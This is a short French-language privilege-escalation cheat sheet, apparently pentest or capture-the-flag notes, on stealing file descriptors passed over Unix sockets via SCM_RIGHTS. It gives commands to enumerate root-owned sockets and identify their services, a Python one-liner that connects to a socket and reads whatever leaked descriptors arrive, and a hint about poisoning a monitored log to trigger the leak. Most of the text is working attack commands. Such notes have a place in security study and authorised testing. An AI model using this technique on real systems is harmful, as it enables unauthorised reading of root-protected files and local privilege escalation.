SCM_RIGHTS — Fuite de descripteurs (privesc)
sommaire
SCM_RIGHTS — passage de descripteurs de fichiers
Un processus peut passer un fichier DÉJÀ OUVERT (son descripteur) à un autre via un socket Unix (ancillary data, type SCM_RIGHTS). Le receveur hérite d’un handle de lecture SANS avoir eu le droit d’open() : le contrôle de permission a lieu à l’open(), pas au read(). Si un service root ouvre un fichier sensible et fuit le descripteur, on lit son contenu.
Énumération des sockets Unix
ss -xlp # sockets Unix en ecoute (+ process si visible)
find / -type s 2>/dev/null # tous les fichiers-socket
find / -type s 2>/dev/null -exec ls -la {} \; # avec proprietaire + permissions
ss -xlp | grep -vE 'dbus|systemd|pipewire|/run/user/' # enlever le bruit standard
Cibler : un socket possédé par root, dans un endroit non-standard, mais accessible à notre utilisateur (groupe rw).
Identifier le service derrière le socket
systemctl status 'nom*'
ps aux | grep -i nom
ls -l /proc/<PID>/exe /proc/<PID>/cwd
tr '\0' ' ' < /proc/<PID>/cmdline; echo
Exploitation — receveur recv_fds
python3 -c '
import socket, os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/xxx.sock")
msg, fds, _, _ = socket.recv_fds(s, 4096, 4)
print("msg:", msg)
for fd in fds:
print(fd, os.pread(fd, 4096, 0))
'
Parfois il faut d’abord DÉCLENCHER l’envoi (ex. : empoisonner un log surveillé pour faire passer le service en mode « alerte » qui fuit le descripteur).